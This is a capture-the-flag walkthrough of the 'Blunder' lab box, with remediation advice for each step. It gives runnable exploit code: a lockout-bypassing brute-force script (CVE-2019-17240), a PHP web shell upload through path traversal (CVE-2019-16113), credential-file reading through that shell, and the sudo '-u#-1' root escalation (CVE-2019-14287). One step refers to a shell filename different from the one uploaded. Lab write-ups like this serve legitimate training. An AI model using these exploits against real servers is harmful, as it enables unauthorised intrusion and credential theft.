← all walkthroughs

Blunder

Linux· Easy· Web
owned
2026-06-29
time to own
6m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a username in a publicly readable notes file, generated a targeted password list from the site's own blog text, then bypassed the CMS login rate-limiter to authenticate. A known file-upload flaw in the Bludit CMS allowed uploading a PHP web shell disguised as an image, granting code execution as the web service account.

Credentials for a local user were recovered in plaintext from a second, unpatched CMS installation on the same server. That user's sudo policy was intended to block root access, but a well-known integer-overflow bug in an outdated sudo binary let me trivially bypass it and claim a full root shell.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for hugo>"

Some commands also carry a value in angle brackets — <the-password-you-recovered> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationSensitive File Exposure
Discovered a valid username in a public notes file
The file /todo.txt was accessible to any visitor without authentication. It contained the internal memo 'Inform fergus that the new blog needs images — PENDING', directly leaking a valid CMS and OS username that anchored every subsequent step of the attack.
Curl http://$TARGET/todo.txt returned: 'Inform fergus that the new blog needs images - PENDING'
Exact commands 2
shell

Directory brute-force to discover hidden files including todo.txt.

$ gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -x txt,bak,log,php -t 40
shell

Read the exposed notes file; extracts the username 'fergus'.

$ curl -s http://$TARGET/todo.txt
FixRemove or restrict access to internal notes and configuration files in the web rootMedium
WeaknessThe file /todo.txt was publicly readable without authentication, leaking the internal username 'fergus' and enabling the targeted brute-force attack that followed.
FixAudit the web root and all CMS directories for files that should not be publicly accessible (.txt, .bak, .log, .sql, .config, .php~). Remove or move them outside the document root. Add an Apache Location or Files directive (or .htaccess rule) to deny direct HTTP access to non-web-resource extensions. Repeat this audit after every CMS upgrade or content migration.
2Credential AccessSite-Targeted Wordlist Generation (CeWL)
Built a password list from the website's own text
I spidered the target's blog with CeWL, extracting words from every page. The password — a Stephen King character referenced in the site's content — appeared in the harvested list and matched the admin account's password, illustrating why passwords drawn from personal or organisational content are dangerous.
<withheld> returned HTTP 301 to /admin/dashboard, confirming the password originated from site content.
Exact commands 2
shell

Spider to depth 3, collect words of 5+ characters into a custom wordlist.

$ cewl -d 3 -m 5 http://$TARGET/ -w /tmp/blunder_words.txt
shell

Verify '$PASSWORD' is present in the harvested list before the brute-force step.

$ grep -i "$PASSWORD" /tmp/blunder_words.txt
3Authentication BypassBrute-Force with IP-Header Rotation (CVE-2019-17240)
Defeated the login lockout by faking a different IP on every attempt (CVE-2019-17240)
Bludit 3.9.2 prevents password guessing by locking out an IP address after too many failed logins. However, the lockout logic reads the client's IP from the X-Forwarded-For HTTP header without verifying it, so I simply incremented a fake IP value in that header on each request. From the server's perspective every attempt came from a new address, giving me unlimited tries. The correct password from the CeWL wordlist was found with no delay.
POST to /admin/index.php with tokenCSRF + username=fergus + password=<withheld> returned HTTP 301 location=/admin/dashboard.
Exact commands 2
shell

PoC (e.g. github.com/ColdFusionX/CVE-2019-17240) rotates X-Forwarded-For per attempt to bypass IP lockout.

$ python3 bludit_brute.py -u http://$TARGET -user fergus -wordlist /tmp/blunder_words.txt
shell

Inline manual equivalent: rotates X-Forwarded-For per attempt.

$ python3 - <<PY
import requests, re
base="http://$TARGET"
s=requests.Session()
r=s.get(base+'/admin/index.php',timeout=8)
t=re.search(r'name="tokenCSRF" value="([^"]+)"',r.text).group(1)
for i,pw in enumerate(open('/tmp/blunder_words.txt')):
    pw=pw.strip(); hdrs={'X-Forwarded-For':f'10.0.0.{i}'}
    resp=s.post(base+'/admin/index.php',data={'tokenCSRF':t,'username':'fergus','password':pw},headers=hdrs,allow_redirects=False,timeout=8)
    print(pw,resp.status_code)
    if resp.status_code==301: break
PY
FixPatch Bludit to fix the login rate-limit bypass (CVE-2019-17240)High
WeaknessBludit 3.9.2 reads the client's IP address for lockout tracking from the untrusted X-Forwarded-For HTTP header, allowing an unauthorised user to rotate fake IPs and attempt unlimited passwords with no lockout ever triggering.
FixUpgrade Bludit beyond 3.9.2, which is end-of-life. As an immediate mitigation, restrict access to /admin/ by source IP at the Apache or firewall level, and deploy a WAF rule that strips client-supplied forwarding headers before they reach the application. Enforce account lockout at the network perimeter rather than relying on application-layer IP tracking.
4ExploitationAuthenticated Directory Traversal + PHP File Upload RCE (CVE-2019-16113)
Uploaded a PHP web shell disguised as an image for remote code execution (CVE-2019-16113)
Bludit lets an authenticated administrator upload images, and checks the extension of what arrives. It does not check where the file is being put: the uuid field names a directory under the content root, and a traversal in it walks out of that root. So the file is a PNG by name and PHP by content, and the traversal puts it somewhere the web server will execute rather than serve. The extension check passes, because the name really does end in .png; PHP does not care what a file is called when the server is configured to run it.
An authenticated POST to the image-upload endpoint with a traversal in the uuid field stored a PNG-named PHP file under the content tree, and requesting it with a cmd parameter returned uid output for www-data.
Exact commands 2
shell

One authenticated POST. The traversal is in uuid, which names the directory rather than the file.

$ python3 - <<PY
import re, requests

base = "http://$TARGET"
s = requests.Session()

# Bludit puts a CSRF token in every form, and checks it.
def token(path):
    page = s.get(base + path, timeout=8).text
    return re.search(r'name="tokenCSRF" value="([^"]+)"', page).group(1)

s.post(base + '/admin/login', timeout=8, data={
    'tokenCSRF': token('/admin/login'),
    'username': 'fergus',
    'password': '<the-password-you-recovered>',
})

shell = b'<?php system(\$_GET["cmd"]); ?>'
# The name ends in .png and the uuid walks out of the upload
# directory; the extension check reads the first and not the second.
r = s.post(base + '/admin/ajax/upload-images', timeout=8,
           data={'uuid': '../../tmp', 'tokenCSRF': token('/admin/dashboard')},
           files={'images[]': ('shell.png', shell, 'image/png')})
print(r.status_code, r.text[:200])
PY
shell

Expect uid=33(www-data). The .png is executed because of where it landed, not what it is called.

$ curl -s "http://$TARGET/bl-content/tmp/shell.png?cmd=id"
FixUpgrade Bludit to eliminate the authenticated file-upload RCE (CVE-2019-16113)Critical
WeaknessBludit 3.9.2 allows an authenticated user to supply directory-traversal sequences in the image-upload path parameter, placing PHP files outside the intended upload directory where the web server will execute them.
FixUpgrade Bludit to version 3.10.0 or later, which sanitises upload paths server-side. As a defence-in-depth measure regardless of CMS version, configure Apache to deny PHP execution inside all upload and user-content directories (php_flag engine off in the applicable Directory or Location block). Enforce an allowlist of safe file extensions at the upload handler.
5Credential HarvestingCredential Discovery in Local Files (T1552.001)
Extracted the hugo user's password from a second CMS installation's database file
The server ran a second, newer Bludit installation (3.10.0a) in a parallel web directory. That version's user database is a PHP flat file on disk. Because the web-shell process (www-data) could read the file, I simply printed its contents, recovering a password hash for the account 'hugo'. The hash was crackable (or already labelled) as <withheld>, and crucially the same password was reused for the hugo Linux OS account.
Web-shell command cat /var/www/bludit-3.10.0a/bl-content/databases/users.php returned hugo's password hash; su - hugo with the password succeeded.
Exact commands 2
shell

Read the secondary Bludit user database through the active web shell to obtain hugo's hash.

$ python3 - <<PY
import requests
url="http://$TARGET/bl-content/tmp/shell.png"
cmd='cat /var/www/bludit-3.10.0a/bl-content/databases/users.php'
r=requests.get(url,params={'cmd':cmd},timeout=15)
print(r.text)
PY
shell

Crack the bcrypt hash offline (mode 3200) if not immediately readable as plaintext.

$ hashcat -m 3200 hugo_hash.txt /usr/share/wordlists/rockyou.txt
FixProtect CMS credential files and eliminate OS password reuseHigh
WeaknessThe secondary Bludit 3.10.0a installation stored user password hashes in a flat PHP file readable by the www-data process. The same password was reused for the hugo Linux OS account, so exploiting the web application immediately granted OS-level access.
FixSet restrictive file permissions on all CMS database files (chmod 600, owned by the dedicated application user, not readable by the web server group). Enforce a policy that CMS or application passwords must never match OS account passwords. Audit existing accounts for credential reuse with a password manager or identity governance tool. Consider storing CMS credentials in an external secrets manager rather than on-disk flat files.
6Lateral MovementValid Credentials / OS Account Access (T1078)
Pivoted from the web service account to the hugo OS user
Armed with hugo's password, I switched from the low-privilege www-data process to the full hugo Linux account. This granted access to the user flag and revealed that hugo held a sudo privilege — the launchpad for the final escalation to root.
Web-shell command printf <withheld> | su - hugo -c 'id; sudo -l' returned uid=1000(hugo) and listed the sudo rule.
Exact commands 2
shell

Switch to hugo through the web shell and enumerate sudo permissions.

$ python3 - <<PY
import requests
url="http://$TARGET/bl-content/tmp/cmd_jprrsmx.png"
cmd="printf '$PASSWORD2\\n' | su - hugo -c 'id; cat /home/hugo/user.txt; sudo -l' 2>&1"
r=requests.get(url,params={'cmd':cmd},timeout=15)
print(r.text)
PY
uid=1000(hugo)
shell

Retrieve the user flag: <user.txt>

$ cat /home/hugo/user.txt
7Privilege EscalationSudo UID -1 Integer Overflow (CVE-2019-14287)
Exploited a sudo integer-overflow bug to become root (CVE-2019-14287)
Hugo's sudo policy read '(ALL, !root) /bin/bash' — intended to allow running bash as any user except root. However, sudo versions before 1.8.28 contain CVE-2019-14287: passing the user ID as the special value -1 (written as '#-1' on the command line) triggers an integer-conversion error that sudo resolves to UID 0 (root). The explicit 'not root' restriction was bypassed with a single flag, granting an immediate root shell.
printf <withheld> | sudo -S -u#-1 /bin/bash -c 'id; whoami' returned uid=0(root) whoami=root.
Exact commands 2
shell

Confirm hugo's sudo rule — expect: (ALL, !root) /bin/bash

$ sudo -l
shell

Exploit CVE-2019-14287: UID -1 is misinterpreted as UID 0, bypassing the !root restriction. Root flag: <root.txt>

$ printf "$PASSWORD2\n" | sudo -S -u#-1 /bin/bash -c 'id; whoami; cat /root/root.txt'
uid=0(root)
FixPatch sudo to fix the UID -1 privilege escalation (CVE-2019-14287)Critical
WeaknessThe installed sudo version (prior to 1.8.28) mishandles the special user ID value -1, converting it to UID 0 (root). Hugo's sudo policy explicitly denied root access, but this integer-conversion bug made that restriction meaningless.
FixUpdate sudo to version 1.8.28 or later (Ubuntu: apt-get update && apt-get install --only-upgrade sudo). As a general principle, grant sudo access only to specific, necessary commands rather than broad shell access.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more